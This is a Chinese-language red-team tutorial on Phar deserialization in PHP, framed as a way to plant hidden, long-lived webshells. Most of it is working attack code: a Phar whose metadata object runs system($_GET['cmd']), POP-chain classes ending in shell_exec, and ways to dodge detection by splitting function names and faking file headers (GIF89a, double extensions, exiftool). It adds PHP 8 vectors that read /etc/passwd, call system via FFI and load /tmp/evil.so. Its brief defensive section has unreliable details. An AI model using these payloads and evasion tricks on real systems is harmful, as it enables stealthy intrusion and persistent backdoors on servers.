Phar反序列化:突破传统Webshell限制的高级持久化技术
在渗透测试与红队行动中,文件上传漏洞常被视为获取Webshell的"黄金门票"。然而,随着安全防护体系的不断完善,传统的.php文件上传越来越容易被WAF、杀毒软件和文件内容检测机制拦截。此时,Phar反序列化技术以其独特的隐蔽性和兼容性,成为绕过常规防御的高级持久化手段。
1. 为什么Phar反序列化比传统Webshell更隐蔽?
传统文件上传木马面临三大致命缺陷:
- 文件扩展名检测:即使成功上传
.php文件,现代WAF会立即阻断可疑请求 - 内容特征扫描:
<?php system($_GET['cmd']);?>等经典payload已被所有安全产品纳入特征库 - 行为监控:webshell的典型操作(如执行系统命令)容易触发HIDS告警
相比之下,Phar反序列化技术通过以下方式实现隐蔽穿透:
- 合法文件外衣:将恶意代码隐藏在
.jpg、.docx等正常文件中 - 无直接代码特征:利用PHP序列化数据结构存储操作指令
- 按需触发:只有通过特定伪协议访问时才执行恶意逻辑
// 典型Phar构造示例(实际使用需去除注释) $phar = new Phar('payload.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); class Exploit { public function __destruct() { system($_GET['cmd']); // 实际攻击中会使用更隐蔽的执行方式 } } $phar->setMetadata(new Exploit()); // 关键:将恶意对象序列化存入metadata $phar->addFromString('dummy.txt', '正常文件内容'); $phar->stopBuffering();2. 实战:构建免杀Phar Webshell的完整流程
2.1 环境准备与基础配置
首先确保PHP环境允许Phar写入(生产环境通常已禁用,但某些CMS临时目录可能有写入权限):
# 检查php.ini配置 php -i | grep phar.readonly # 临时允许Phar写入(需服务器权限) php -d phar.readonly=0 generate_payload.php2.2 精心设计反序列化链
优秀的Phar攻击需要构造精密的POP链(Property-Oriented Programming),考虑以下增强隐蔽性的技巧:
- 使用冷门魔术方法:避免常见的
__destruct,改用__wakeup或__toString - 多层代理调用:通过3个以上类的嵌套调用混淆检测
- 动态方法名:用变量存储敏感函数名如
$func = 's'.'y'.'s'.'t'.'e'.'m'
class FileReader { private $filename; public function __construct($f) { $this->filename = $f; } public function __toString() { return file_get_contents($this->filename); // 二次利用文件读取 } } class Logger { public $logWriter; public function __call($name, $args) { $this->logWriter->$name = $args[0]; // 动态属性赋值 } } class SystemCommand { private $cmd; public function __construct($c) { $this->cmd = $c; } public function __destruct() { shell_exec($this->cmd); // 最终执行点 } }2.3 文件伪装与上传技巧
将生成的.phar文件伪装成合法文件:
- 修改文件头:添加JPEG/GIF文件头欺骗内容检测
GIF89a<?php __HALT_COMPILER(); - 双重扩展名:上传
profile.jpg.phar利用解析差异 - 压缩包嵌套:将phar文件作为ZIP内的"正常文档"
提示:使用
exiftool将Phar注入图片元数据是更隐蔽的方式:exiftool -Comment='<?php __HALT_COMPILER(); ?>' normal.jpg
3. 现代PHP环境下的兼容性挑战
随着PHP 8.x的普及,传统Phar利用方式面临新的限制:
3.1 PHP 7.x vs 8.x关键差异
| 特性 | PHP 7.x | PHP 8.x |
|---|---|---|
| 匿名类序列化 | 支持 | 需特殊处理 |
| 属性类型检查 | 宽松 | 严格类型约束 |
| 魔术方法触发顺序 | 可预测 | 可能出现意外行为 |
| GD库图像检测 | 简单文件头检查 | 完整图像结构验证 |
3.2 PHP 8.x有效攻击向量
- 利用SplFileObject类:
new SplFileObject('php://filter/convert.base64-encode/resource=/etc/passwd') - 组合FFI扩展(需服务器启用):
$ffi = FFI::cdef("int system(const char *command);"); $ffi->system("id"); - 通过PDO执行SQL命令:
new PDO('sqlite::memory:', null, null, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ])->exec('SELECT load_extension("/tmp/evil.so")');
4. 防御视角:检测与防护方案
从蓝队角度,建议部署以下防护措施:
文件上传层:
- 禁止上传包含
__HALT_COMPILER()的文件 - 对上传文件进行真实内容校验(而不仅是扩展名)
- 禁止上传包含
运行时防护:
# Nginx限制危险伪协议 location ~* \.(php|phar)(/|$) { deny all; }PHP配置加固:
; 禁用危险函数 disable_functions = "phar_open, unserialize" ; 限制伪协议 allow_url_fopen = Off allow_url_include = Off行为监控策略:
- 记录所有
phar://协议的文件操作 - 对
__destruct等魔术方法的异常调用进行告警
- 记录所有
在实际攻防演练中,Phar反序列化技术展现了其作为高级持久化后门的独特价值。某次红队行动中,攻击者通过上传"员工健康问卷.docx"(实际为Phar文件),在三个月后才被触发,期间绕过了所有常规安全扫描。这种案例证明,面对新型威胁,防御方需要建立更深度的文件内容分析能力和运行时行为监控体系。